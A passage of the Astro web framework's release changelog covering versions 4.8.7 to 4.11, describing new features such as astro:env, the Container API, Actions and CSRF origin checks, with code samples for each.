target the elements of your code block. ```astro --- import { transformerNotationFocus } from '@&#8203;shikijs/transformers'; import { Code } from 'astro:components'; const code = `const foo = 'hello' const bar = ' world' console.log(foo + bar) // [!code focus] `; --- <Code {code} lang="js" transformers={[transformerNotationFocus()]} /> <style is:global> pre.has-focused .line:not(.focused) { filter: blur(1px); } </style> ``` - [#&#8203;11134](https://github.com/withastro/astro/pull/11134) [`9042be0`](https://github.com/withastro/astro/commit/9042be049157ce859355f911565bc0c3d68f0aa1) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Improves the developer experience of the `500.astro` file by passing it a new `error` prop. When an error is thrown, the special `src/pages/500.astro` page now automatically receives the error as a prop. This allows you to display more specific information about the error on a custom 500 page. ```astro --- // src/pages/500.astro interface Props { error: unknown; } const { error } = Astro.props; --- <div>{error instanceof Error ? error.message : 'Unknown error'}</div> ``` If an error occurs rendering this page, your host's default 500 error page will be shown to your visitor in production, and Astro's default error overlay will be shown in development. ##### Patch Changes - [#&#8203;11280](https://github.com/withastro/astro/pull/11280) [`fd3645f`](https://github.com/withastro/astro/commit/fd3645fe8364ec5e280b6802d1468867890d463c) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a bug that prevented cookies from being set when using experimental rewrites - [#&#8203;11275](https://github.com/withastro/astro/pull/11275) [`bab700d`](https://github.com/withastro/astro/commit/bab700d69085b1de8f03fc1b0b31651f709cbfe3) Thanks [@&#8203;syhily](https://github.com/syhily)! - Drop duplicated brackets in data collections schema generation. - [#&#8203;11272](https://github.com/withastro/astro/pull/11272) [`ea987d7`](https://github.com/withastro/astro/commit/ea987d7da589ead9aa4b550f167f5e2f6c939d2e) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a case where rewriting `/` would cause an issue, when `trailingSlash` was set to `"never"`. - [#&#8203;11272](https://github.com/withastro/astro/pull/11272) [`ea987d7`](https://github.com/withastro/astro/commit/ea987d7da589ead9aa4b550f167f5e2f6c939d2e) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Reverts a logic where it wasn't possible to rewrite `/404` in static mode. It's **now possible** again - [#&#8203;11264](https://github.com/withastro/astro/pull/11264) [`5a9c9a6`](https://github.com/withastro/astro/commit/5a9c9a60e7c32aa461b86b5bc667cb955e23d4d9) Thanks [@&#8203;Fryuni](https://github.com/Fryuni)! - Fixes type generation for empty content collections - [#&#8203;11279](https://github.com/withastro/astro/pull/11279) [`9a08d74`](https://github.com/withastro/astro/commit/9a08d74bc00ae2c3bc254f99580a22ce4df1d002) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Improves type-checking and error handling to catch case where an image import is passed directly to `getImage()` - [#&#8203;11292](https://github.com/withastro/astro/pull/11292) [`7f8f347`](https://github.com/withastro/astro/commit/7f8f34799528ed0b2011e1ea273bd0636f6e767d) Thanks [@&#8203;jdtjenkins](https://github.com/jdtjenkins)! - Fixes a case where `defineAction` autocomplete for the `accept` prop would not show `"form"` as a possible value - [#&#8203;11273](https://github.com/withastro/astro/pull/11273) [`cb4d078`](https://github.com/withastro/astro/commit/cb4d07819f0dbdfd94bc4f084edf7720ada01323) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Corrects an inconsistency in dev where middleware would run for prerendered 404 routes. Middleware is not run for prerendered 404 routes in production, so this was incorrect. - [#&#8203;11284](https://github.com/withastro/astro/pull/11284) [`f4b029b`](https://github.com/withastro/astro/commit/f4b029b08264268c68fc81ea25b264e81f47e683) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes an issue that would break `Astro.request.url` and `Astro.request.headers` in `astro dev` if HTTP/2 was enabled. HTTP/2 is now enabled by default in `astro dev` if `https` is configured in the Vite config. ### [`v4.10.3`](https://github.com/withastro/astro/releases/tag/astro%404.10.3) [Compare Source](https://github.com/withastro/astro/compare/astro@4.10.2...astro@4.10.3) ##### Patch Changes - [#&#8203;11213](https://github.com/withastro/astro/pull/11213) [`94ac7ef`](https://github.com/withastro/astro/commit/94ac7efd70fd264b10887805a02d5d1877af8701) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Removes the `PUBLIC_` prefix constraint for `astro:env` public variables - [#&#8203;11213](https://github.com/withastro/astro/pull/11213) [`94ac7ef`](https://github.com/withastro/astro/commit/94ac7efd70fd264b10887805a02d5d1877af8701) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - **BREAKING CHANGE to the experimental `astro:env` feature only** Server secrets specified in the schema must now be imported from `astro:env/server`. Using `getSecret()` is no longer required to use these environment variables in your schema: ```diff - import { getSecret } from 'astro:env/server' - const API_SECRET = getSecret("API_SECRET") + import { API_SECRET } from 'astro:env/server' ``` Note that using `getSecret()` with these keys is still possible, but no longer involves any special handling and the raw value will be returned, just like retrieving secrets not specified in your schema. - [#&#8203;11234](https://github.com/withastro/astro/pull/11234) [`4385bf7`](https://github.com/withastro/astro/commit/4385bf7a4dc9c65bff53a30c660f7a909fcabfc9) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Adds a new function called `addServerRenderer` to the Container API. Use this function to manually store renderers inside the instance of your container. This new function should be preferred when using the Container API in environments like on-demand pages: ```ts import type { APIRoute } from 'astro'; import { experimental_AstroContainer } from 'astro/container'; import reactRenderer from '@&#8203;astrojs/react/server.js'; import vueRenderer from '@&#8203;astrojs/vue/server.js'; import ReactComponent from '../components/button.jsx'; import VueComponent from '../components/button.vue'; // MDX runtime is contained inside the Astro core import mdxRenderer from 'astro/jsx/server.js'; // In case you need to import a custom renderer import customRenderer from '../renderers/customRenderer.js'; export const GET: APIRoute = async (ctx) => { const container = await experimental_AstroContainer.create(); container.addServerRenderer({ renderer: reactRenderer }); container.addServerRenderer({ renderer: vueRenderer }); container.addServerRenderer({ renderer: customRenderer }); // You can pass a custom name too container.addServerRenderer({ name: 'customRenderer', renderer: customRenderer, }); const vueComponent = await container.renderToString(VueComponent); return await container.renderToResponse(Component); }; ``` - [#&#8203;11249](https://github.com/withastro/astro/pull/11249) [`de60c69`](https://github.com/withastro/astro/commit/de60c69aa06c41f76a5510cc1d0bee4c8a5326a5) Thanks [@&#8203;markgaze](https://github.com/markgaze)! - Fixes a performance issue with JSON schema generation - [#&#8203;11242](https://github.com/withastro/astro/pull/11242) [`e4fc2a0`](https://github.com/withastro/astro/commit/e4fc2a0bafb4723566552d0c5954b25447890f51) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a case where the virtual module `astro:container` wasn't resolved - [#&#8203;11236](https://github.com/withastro/astro/pull/11236) [`39bc3a5`](https://github.com/withastro/astro/commit/39bc3a5e8161232d6fdc6cc52b1f246083966d8e) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Fixes a case where symlinked content collection directories were not correctly resolved - [#&#8203;11258](https://github.com/withastro/astro/pull/11258) [`d996db6`](https://github.com/withastro/astro/commit/d996db6f0bf361ebd84b23d022db7bb10fb316e6) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Adds a new error `RewriteWithBodyUsed` that throws when `Astro.rewrite` is used after the request body has already been read. - [#&#8203;11243](https://github.com/withastro/astro/pull/11243) [`ba2b14c`](https://github.com/withastro/astro/commit/ba2b14cc28bd219c241313cdf142b736e7442014) Thanks [@&#8203;V3RON](https://github.com/V3RON)! - Fixes a prerendering issue for libraries in `node_modules` when a folder with an underscore is in the path. - [#&#8203;11244](https://github.com/withastro/astro/pull/11244) [`d07d2f7`](https://github.com/withastro/astro/commit/d07d2f7ac9d87af907beaca700ba4116dc1d6f37) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Improves the developer experience of the custom `500.astro` page in development mode. Before, in development, an error thrown during the rendering phase would display the default error overlay, even when users had the `500.astro` page. Now, the development server will display the `500.astro` and the original error is logged in the console. - [#&#8203;11240](https://github.com/withastro/astro/pull/11240) [`2851b0a`](https://github.com/withastro/astro/commit/2851b0aa2e2abe80ea603b53c67770e94980a8d3) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Ignores query strings in module identifiers when matching ".astro" file extensions in Vite plugin - [#&#8203;11245](https://github.com/withastro/astro/pull/11245) [`e22be22`](https://github.com/withastro/astro/commit/e22be22e5729e60220726e92b52d2833c937fd1c) Thanks [@&#8203;bluwy](https://github.com/bluwy)! - Refactors prerendering chunk handling to correctly remove unused code during the SSR runtime ### [`v4.10.2`](https://github.com/withastro/astro/releases/tag/astro%404.10.2) [Compare Source](https://github.com/withastro/astro/compare/astro@4.10.1...astro@4.10.2) ##### Patch Changes - [#&#8203;11231](https://github.com/withastro/astro/pull/11231) [`58d7dbb`](https://github.com/withastro/astro/commit/58d7dbb5e0cabea1ac7a35af5b46685fce50d723) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes a regression for `getViteConfig`, where the inline config wasn't merged in the final config. - [#&#8203;11228](https://github.com/withastro/astro/pull/11228) [`1e293a1`](https://github.com/withastro/astro/commit/1e293a1b819024f16bfe482f272df0678cdd7874) Thanks [@&#8203;ascorbic](https://github.com/ascorbic)! - Updates `getCollection()` to always return a cloned array - [#&#8203;11207](https://github.com/withastro/astro/pull/11207) [`7d9aac3`](https://github.com/withastro/astro/commit/7d9aac376c4b8844917901f7f566f7259d7f66c8) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue in the rewriting logic where old data was not purged during the rewrite flow. This caused some false positives when checking the validity of URL path names during the rendering phase. - [#&#8203;11189](https://github.com/withastro/astro/pull/11189) [`75a8fe7`](https://github.com/withastro/astro/commit/75a8fe7e72b95f20c36f034de2b51b6a9550e27e) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Improve error message when using `getLocaleByPath` on path that doesn't contain any locales. - [#&#8203;11195](https://github.com/withastro/astro/pull/11195) [`0a6ab6f`](https://github.com/withastro/astro/commit/0a6ab6f562651b558ca90761feed5c07f54f2633) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Adds support for enums to `astro:env` You can now call `envField.enum`: ```js import { defineConfig, envField } from 'astro/config'; export default defineConfig({ experimental: { env: { schema: { API_VERSION: envField.enum({ context: 'server', access: 'secret', values: ['v1', 'v2'], }), }, }, }, }); ``` - [#&#8203;11210](https://github.com/withastro/astro/pull/11210) [`66fc028`](https://github.com/withastro/astro/commit/66fc0283d3f1d1a4f17d7db65ca3521a01fb5bec) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Close the iterator only after rendering is complete - [#&#8203;11195](https://github.com/withastro/astro/pull/11195) [`0a6ab6f`](https://github.com/withastro/astro/commit/0a6ab6f562651b558ca90761feed5c07f54f2633) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Adds additional validation options to `astro:env` `astro:env` schema datatypes `string` and `number` now have new optional validation rules: ```js import { defineConfig, envField } from 'astro/config'; export default defineConfig({ experimental: { env: { schema: { FOO: envField.string({ // ... max: 32, min: 3, length: 12, url: true, includes: 'foo', startsWith: 'bar', endsWith: 'baz', }), BAR: envField.number({ // ... gt: 2, min: 3, lt: 10, max: 9, int: true, }), }, }, }, }); ``` - [#&#8203;11211](https://github.com/withastro/astro/pull/11211) [`97724da`](https://github.com/withastro/astro/commit/97724da93ed7b1db19632c0cdb4b3aab1ff84812) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Let middleware handle the original request URL - [#&#8203;10607](https://github.com/withastro/astro/pull/10607) [`7327c6a`](https://github.com/withastro/astro/commit/7327c6acb197e1f2ea6cf94cfbc5700bc755f982) Thanks [@&#8203;frankbits](https://github.com/frankbits)! - Fixes an issue where a leading slash created incorrect conflict resolution between pages generated from static routes and catch-all dynamic routes ### [`v4.10.1`](https://github.com/withastro/astro/releases/tag/astro%404.10.1) [Compare Source](https://github.com/withastro/astro/compare/astro@4.10.0...astro@4.10.1) ##### Patch Changes - [#&#8203;11198](https://github.com/withastro/astro/pull/11198) [`8b9a499`](https://github.com/withastro/astro/commit/8b9a499d3733e9d0fc6a0bd067ece19bd36f4726) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Fixes a case where `astro:env` `getSecret` would not retrieve environment variables properly in dev and build modes - [#&#8203;11206](https://github.com/withastro/astro/pull/11206) [`734b98f`](https://github.com/withastro/astro/commit/734b98fecf0212cd76be3c935a49f84a9a7dab34) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - **BREAKING CHANGE to the experimental `astro:env` feature only** Updates the adapter `astro:env` entrypoint from `astro:env/setup` to `astro/env/setup` - [#&#8203;11205](https://github.com/withastro/astro/pull/11205) [`8c45391`](https://github.com/withastro/astro/commit/8c4539145f0b6a735b65852b2f2b1a7e9f5a9c3f) Thanks [@&#8203;Nin3lee](https://github.com/Nin3lee)! - Fixes a typo in the config reference ### [`v4.10.0`](https://github.com/withastro/astro/releases/tag/astro%404.10.0) [Compare Source](https://github.com/withastro/astro/compare/astro@4.9.3...astro@4.10.0) ##### Minor Changes - [#&#8203;10974](https://github.com/withastro/astro/pull/10974) [`2668ef9`](https://github.com/withastro/astro/commit/2668ef984104574f25f29ef75e2572a0745d1666) Thanks [@&#8203;florian-lefebvre](https://github.com/florian-lefebvre)! - Adds experimental support for the `astro:env` API. The `astro:env` API lets you configure a type-safe schema for your environment variables, and indicate whether they should be available on the server or the client. Import and use your defined variables from the appropriate `/client` or `/server` module: ```astro --- import { PUBLIC_APP_ID } from 'astro:env/client'; import { PUBLIC_API_URL, getSecret } from 'astro:env/server'; const API_TOKEN = getSecret('API_TOKEN'); const data = await fetch(`${PUBLIC_API_URL}/users`, { method: 'POST', headers: { 'Content-Type': 'application/json', Authorization: `Bearer ${API_TOKEN}`, }, body: JSON.stringify({ appId: PUBLIC_APP_ID }), }); --- ``` To define the data type and properties of your environment variables, declare a schema in your Astro config in `experimental.env.schema`. The `envField` helper allows you define your variable as a string, number, or boolean and pass properties in an object: ```js // astro.config.mjs import { defineConfig, envField } from 'astro/config'; export default defineConfig({ experimental: { env: { schema: { PUBLIC_API_URL: envField.string({ context: 'client', access: 'public', optional: true }), PUBLIC_PORT: envField.number({ context: 'server', access: 'public', default: 4321 }), API_SECRET: envField.string({ context: 'server', access: 'secret' }), }, }, }, }); ``` There are three kinds of environment variables, determined by the combination of `context` (`client` or `server`) and `access` (`private` or `public`) settings defined in your [`env.schema`](#experimentalenvschema): - **Public client variables**: These variables end up in both your final client and server bundles, and can be accessed from both client and server through the `astro:env/client` module: ```js import { PUBLIC_API_URL } from 'astro:env/client'; ``` - **Public server variables**: These variables end up in your final server bundle and can be accessed on the server through the `astro:env/server` module: ```js import { PUBLIC_PORT } from 'astro:env/server'; ``` - **Secret server variables**: These variables are not part of your final bundle and can be accessed on the server through the `getSecret()` helper function available from the `astro:env/server` module: ```js import { getSecret } from 'astro:env/server'; const API_SECRET = getSecret('API_SECRET'); // typed const SECRET_NOT_IN_SCHEMA = getSecret('SECRET_NOT_IN_SCHEMA'); // string | undefined ``` **Note:** Secret client variables are not supported because there is no safe way to send this data to the client. Therefore, it is not possible to configure both `context: "client"` and `access: "secret"` in your schema. To learn more, check out [the documentation](https://docs.astro.build/en/reference/configuration-reference/#experimentalenv). ##### Patch Changes - [#&#8203;11192](https://github.com/withastro/astro/pull/11192) [`58b10a0`](https://github.com/withastro/astro/commit/58b10a073192030a251cff8ad706ab5b015180c9) Thanks [@&#8203;liruifengv](https://github.com/liruifengv)! - Improves DX by throwing the original `AstroUserError` when an error is thrown inside a `.mdx` file. - [#&#8203;11136](https://github.com/withastro/astro/pull/11136) [`35ef53c`](https://github.com/withastro/astro/commit/35ef53c0897c0d360efc086a71c5f4406721d2fe) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Errors that are emitted during a rewrite are now bubbled up and shown to the user. A 404 response is not returned anymore. - [#&#8203;11144](https://github.com/withastro/astro/pull/11144) [`803dd80`](https://github.com/withastro/astro/commit/803dd8061df02138b4928442bcb76e77dcf6f5e7) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - The integration now exposes a function called `getContainerRenderer`, that can be used inside the Container APIs to load the relative renderer. ```js import { experimental_AstroContainer as AstroContainer } from 'astro/container'; import ReactWrapper from '../src/components/ReactWrapper.astro'; import { loadRenderers } from 'astro:container'; import { getContainerRenderer } from '@&#8203;astrojs/react'; test('ReactWrapper with react renderer', async () => { const renderers = await loadRenderers([getContainerRenderer()]); const container = await AstroContainer.create({ renderers, }); const result = await container.renderToString(ReactWrapper); expect(result).toContain('Counter'); expect(result).toContain('Count: <!-- -->5'); }); ``` - [#&#8203;11144](https://github.com/withastro/astro/pull/11144) [`803dd80`](https://github.com/withastro/astro/commit/803dd8061df02138b4928442bcb76e77dcf6f5e7) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - **BREAKING CHANGE to the experimental Container API only** Changes the **type** of the `renderers` option of the `AstroContainer::create` function and adds a dedicated function `loadRenderers()` to load the rendering scripts from renderer integration packages (`@astrojs/react`, `@astrojs/preact`, `@astrojs/solid-js`, `@astrojs/svelte`, `@astrojs/vue`, `@astrojs/lit`, and `@astrojs/mdx`). You no longer need to know the individual, direct file paths to the client and server rendering scripts for each renderer integration package. Now, there is a dedicated function to load the renderer from each package, which is available from `getContainerRenderer()`: ```diff import { experimental_AstroContainer as AstroContainer } from 'astro/container'; import ReactWrapper from '../src/components/ReactWrapper.astro'; import { loadRenderers } from "astro:container"; import { getContainerRenderer } from "@&#8203;astrojs/react"; test('ReactWrapper with react renderer', async () => { + const renderers = await loadRenderers([getContainerRenderer()]) - const renderers = [ - { - name: '@&#8203;astrojs/react', - clientEntrypoint: '@&#8203;astrojs/react/client.js', - serverEntrypoint: '@&#8203;astrojs/react/server.js', - }, - ]; const container = await AstroContainer.create({ renderers, }); const result = await container.renderToString(ReactWrapper); expect(result).toContain('Counter'); expect(result).toContain('Count: <!-- -->5'); }); ``` The new `loadRenderers()` helper function is available from `astro:container`, a virtual module that can be used when running the Astro container inside `vite`. - [#&#8203;11136](https://github.com/withastro/astro/pull/11136) [`35ef53c`](https://github.com/withastro/astro/commit/35ef53c0897c0d360efc086a71c5f4406721d2fe) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - It's not possible anymore to use `Astro.rewrite("/404")` inside static pages. This isn't counterproductive because Astro will end-up emitting a page that contains the HTML of 404 error page. It's still possible to use `Astro.rewrite("/404")` inside on-demand pages, or pages that opt-out from prerendering. - [#&#8203;11191](https://github.com/withastro/astro/pull/11191) [`6e29a17`](https://github.com/withastro/astro/commit/6e29a172f153d15fac07320488fae01dece71748) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Fixes a case where `Astro.url` would be incorrect when having `build.format` set to `'preserve'` in the Astro config - [#&#8203;11182](https://github.com/withastro/astro/pull/11182) [`40b0b4d`](https://github.com/withastro/astro/commit/40b0b4d1e4ef1aa95d5e9011652444b855ab0b9c) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where `Astro.rewrite` wasn't carrying over the body of a `Request` in on-demand pages. - [#&#8203;11194](https://github.com/withastro/astro/pull/11194) [`97fbe93`](https://github.com/withastro/astro/commit/97fbe938a9b07d52d61011da4bd5a8b5ad85a700) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an issue where the function `getViteConfig` wasn't returning the correct merged Astro configuration ### [`v4.9.3`](https://github.com/withastro/astro/releases/tag/astro%404.9.3) [Compare Source](https://github.com/withastro/astro/compare/astro@4.9.2...astro@4.9.3) ##### Patch Changes - [#&#8203;11171](https://github.com/withastro/astro/pull/11171) [`ff8004f`](https://github.com/withastro/astro/commit/ff8004f6a7b2aab4c6ac367f13744a341c3c5462) Thanks [@&#8203;Princesseuh](https://github.com/Princesseuh)! - Guard globalThis.astroAsset usage in proxy code to avoid errors in wonky situations - [#&#8203;11178](https://github.com/withastro/astro/pull/11178) [`1734c49`](https://github.com/withastro/astro/commit/1734c49f516ff7d778d6724a0db6d39649921b4b) Thanks [@&#8203;theoephraim](https://github.com/theoephraim)! - Improves `isPromise` utility to check the presence of `then` on an object before trying to access it - which can cause undesired side-effects on Proxy objects - [#&#8203;11183](https://github.com/withastro/astro/pull/11183) [`3cfa2ac`](https://github.com/withastro/astro/commit/3cfa2ac7e51d7bea96980403c393f9bcda1e9375) Thanks [@&#8203;66Leo66](https://github.com/66Leo66)! - Suggest `pnpm dlx` instead of `pnpx` in update check. - [#&#8203;11147](https://github.com/withastro/astro/pull/11147) [`2d93902`](https://github.com/withastro/astro/commit/2d93902f4c51dcc62b077b0546ead688e6f32c63) Thanks [@&#8203;kitschpatrol](https://github.com/kitschpatrol)! - Fixes invalid MIME types in Picture source elements for jpg and svg extensions, which was preventing otherwise valid source variations from being shown by the browser - [#&#8203;11141](https://github.com/withastro/astro/pull/11141) [`19df89f`](https://github.com/withastro/astro/commit/19df89f87c74205ebc76aeac43ca20b00694acec) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Fixes an internal error that prevented the `AstroContainer` to render the `Content` component. You can now write code similar to the following to render content collections: ```js const entry = await getEntry(collection, slug); const { Content } = await entry.render(); const content = await container.renderToString(Content); ``` - [#&#8203;11170](https://github.com/withastro/astro/pull/11170) [`ba20c71`](https://github.com/withastro/astro/commit/ba20c718a4ccd1009bdf81f8265956bff1d19d05) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Retain client scripts in content cache ### [`v4.9.2`](https://github.com/withastro/astro/releases/tag/astro%404.9.2) [Compare Source](https://github.com/withastro/astro/compare/astro@4.9.1...astro@4.9.2) ##### Patch Changes - [#&#8203;11138](https://github.com/withastro/astro/pull/11138) [`98e0372`](https://github.com/withastro/astro/commit/98e0372cfd47a3e025be2ac68d1e9ebf06cf548b) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - You can now pass `props` when rendering a component using the Container APIs: ```js import { experimental_AstroContainer as AstroContainer } from 'astro/contaienr'; import Card from '../src/components/Card.astro'; const container = await AstroContainer.create(); const result = await container.renderToString(Card, { props: { someState: true, }, }); ``` ### [`v4.9.1`](https://github.com/withastro/astro/releases/tag/astro%404.9.1) [Compare Source](https://github.com/withastro/astro/compare/astro@4.9.0...astro@4.9.1) ##### Patch Changes - [#&#8203;11129](https://github.com/withastro/astro/pull/11129) [`4bb9269`](https://github.com/withastro/astro/commit/4bb926908d9a7ee134701c3e5a1b5e6ea688f843) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Prevent errors from adapters when i18n domains is not used ### [`v4.9.0`](https://github.com/withastro/astro/releases/tag/astro%404.9.0) [Compare Source](https://github.com/withastro/astro/compare/astro@4.8.7...astro@4.9.0) ##### Minor Changes - [#&#8203;11051](https://github.com/withastro/astro/pull/11051) [`12a1bcc`](https://github.com/withastro/astro/commit/12a1bccc818af292cdd2a8ed0f3e3c042b9819b4) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - Introduces an experimental Container API to render `.astro` components in isolation. This API introduces three new functions to allow you to create a new container and render an Astro component returning either a string or a Response: - `create()`: creates a new instance of the container. - `renderToString()`: renders a component and return a string. - `renderToResponse()`: renders a component and returns the `Response` emitted by the rendering phase. The first supported use of this new API is to enable unit testing. For example, with `vitest`, you can create a container to render your component with test data and check the result: ```js import { experimental_AstroContainer as AstroContainer } from 'astro/container'; import { expect, test } from 'vitest'; import Card from '../src/components/Card.astro'; test('Card with slots', async () => { const container = await AstroContainer.create(); const result = await container.renderToString(Card, { slots: { default: 'Card content', }, }); expect(result).toContain('This is a card'); expect(result).toContain('Card content'); }); ``` For a complete reference, see the [Container API docs](/en/reference/container-reference/). For a feature overview, and to give feedback on this experimental API, see the [Container API roadmap discussion](https://github.com/withastro/roadmap/pull/916). - [#&#8203;11021](https://github.com/withastro/astro/pull/11021) [`2d4c8fa`](https://github.com/withastro/astro/commit/2d4c8faa56a64d963fe7847b5be2d7a59e12ed5b) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - The CSRF protection feature that was introduced behind a flag in [v4.6.0](https://github.com/withastro/astro/blob/main/packages/astro/CHANGELOG.md#460) is no longer experimental and is available for general use. To enable the stable version, add the new top-level `security` option in `astro.config.mjs`. If you were previously using the experimental version of this feature, also delete the experimental flag: ```diff export default defineConfig({ - experimental: { - security: { - csrfProtection: { - origin: true - } - } - }, + security: { + checkOrigin: true + } }) ``` Enabling this setting performs a check that the `"origin"` header, automatically passed by all modern browsers, matches the URL sent by each Request. This check is executed only for pages rendered on demand, and only for the requests `POST`, `PATCH`, `DELETE` and `PUT` with one of the following `"content-type"` headers: `'application/x-www-form-urlencoded'`, `'multipart/form-data'`, `'text/plain'`. If the `"origin"` header doesn't match the pathname of the request, Astro will return a 403 status code and won't render the page. For more information, see the [`security` configuration docs](https://docs.astro.build/en/reference/configuration-reference/#security). - [#&#8203;11022](https://github.com/withastro/astro/pull/11022) [`be68ab4`](https://github.com/withastro/astro/commit/be68ab47e236476ba980cbf74daf85f27cd866f4) Thanks [@&#8203;ematipico](https://github.com/ematipico)! - The `i18nDomains` routing feature introduced behind a flag in [v3.4.0](https://github.com/withastro/astro/blob/main/packages/astro/CHANGELOG.md#430) is no longer experimental and is available for general use. This routing option allows you to configure different domains for individual locales in entirely server-rendered projects using the [@&#8203;astrojs/node](https://docs.astro.build/en/guides/integrations-guide/node/) or [@&#8203;astrojs/vercel](https://docs.astro.build/en/guides/integrations-guide/vercel/) adapter with a `site` configured. If you were using this feature, please remove the experimental flag from your Astro config: ```diff import { defineConfig } from 'astro' export default defineConfig({ - experimental: { - i18nDomains: true, - } }) ``` If you have been waiting for stabilization before using this routing option, you can now do so. Please see [the internationalization docs](https://docs.astro.build/en/guides/internationalization/#domains) for more about this feature. - [#&#8203;11071](https://github.com/withastro/astro/pull/11071) [`8ca7c73`](https://github.com/withastro/astro/commit/8ca7c731dea894e77f84b314ebe3a141d5daa918) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Adds two new functions `experimental_getActionState()` and `experimental_withState()` to support [the React 19 `useActionState()` hook](https://react.dev/reference/react/useActionState) when using Astro Actions. This introduces progressive enhancement when calling an Action with the `withState()` utility. This example calls a `like` action that accepts a `postId` and returns the number of likes. Pass this action to the `experimental_withState()` function to apply progressive enhancement info, and apply to `useActionState()` to track the result: ```tsx import { actions } from 'astro:actions'; import { experimental_withState } from '@&#8203;astrojs/react/actions'; export function Like({ postId }: { postId: string }) { const [state, action, pending] = useActionState( experimental_withState(actions.like), 0 // initial likes ); return ( <form action={action}> <input type="hidden" name="postId" value={postId} /> <button disabled={pending}>{state} ❤️</button> </form> ); } ``` You can also access the state stored by `useActionState()` from your action `handler`. Call `experimental_getActionState()` with the API context, and optionally apply a type to the result: ```ts import { defineAction, z } from 'astro:actions'; import { experimental_getActionState } from '@&#8203;astrojs/react/actions'; export const server = { like: defineAction({ input: z.object({ postId: z.string(), }), handler: async ({ postId }, ctx) => { const currentLikes = experimental_getActionState<number>(ctx); // write to database return currentLikes + 1; }, }), }; ``` - [#&#8203;11101](https://github.com/withastro/astro/pull/11101) [`a6916e4`](https://github.com/withastro/astro/commit/a6916e4402bf5b7d74bab784a54eba63fd1d1179) Thanks [@&#8203;linguofeng](https://github.com/linguofeng)! - Updates Astro's code for adapters to use the header `x-forwarded-for` to initialize the `clientAddress`. To take advantage of the new change, integration authors must upgrade the version of Astro in their adapter `peerDependencies` to `4.9.0`. - [#&#8203;11071](https://github.com/withastro/astro/pull/11071) [`8ca7c73`](https://github.com/withastro/astro/commit/8ca7c731dea894e77f84b314ebe3a141d5daa918) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Adds compatibility for Astro Actions in the React 19 beta. Actions can be passed to a `form action` prop directly, and Astro will automatically add metadata for progressive enhancement. ```tsx import { actions } from 'astro:actions'; function Like() { return ( <form action={actions.like}> {/* auto-inserts hidden input for progressive enhancement */} <button type="submit">Like</button> </form> ); } ``` ##### Patch Changes - [#&#8203;11088](https://github.com/withastro/astro/pull/11088) [`9566fa0`](https://github.com/withastro/astro/commit/9566fa08608be766df355be17d72a39ea7b99ed0) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Allow actions to be called on the server. This allows you to call actions as utility functions in your Astro frontmatter, endpoints, and server-side UI components. Import and call directly from `astro:actions` as you would for client actions: ```astro --- // src/pages/blog/[postId].astro import { actions } from 'astro:actions'; await actions.like({ postId: Astro.params.postId }); --- ``` - [#&#8203;11112](https://github.com/withastro/astro/pull/11112) [`29a8650`](https://github.com/withastro/astro/commit/29a8650375053cd5690a32bed4140f0fef11c705) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Deprecate the `getApiContext()` function. API Context can now be accessed from the second parameter to your Action `handler()`: ```diff // src/actions/index.ts import { defineAction, z, - getApiContext, } from 'astro:actions'; export const server = { login: defineAction({ input: z.object({ id: z.string }), + handler(input, context) { const user = context.locals.auth(input.id); return user; } }), } ``` ### [`v4.8.7`](https://github.com/withastro/astro/releases/tag/astro%404.8.7) [Compare Source](https://github.com/withastro/astro/compare/astro@4.8.6...astro@4.8.7) ##### Patch Changes - [#&#8203;11073](https://github.com/withastro/astro/pull/11073) [`f5c8fee`](https://github.com/withastro/astro/commit/f5c8fee76c5e688ef23c18be79705b18f1750415) Thanks [@&#8203;matthewp](https://github.com/matthewp)! - Prevent cache content from being left in dist folder When `contentCollectionsCache` is enabled temporary cached content is copied into the `outDir` for processing. This fixes it so that this content is cleaned out, along with the rest of the temporary build JS. - [#&#8203;11054](https://github.com/withastro/astro/pull/11054) [`f6b171e`](https://github.com/withastro/astro/commit/f6b171ed50eed253b8ac005bd5e9d1841a8003dd) Thanks [@&#8203;bholmesdev](https://github.com/bholmesdev)! - Respect error status when handling Actions with a progressive fallback. - [#&#8203;11092](https://github.com/withastro/astro/pull/11092) 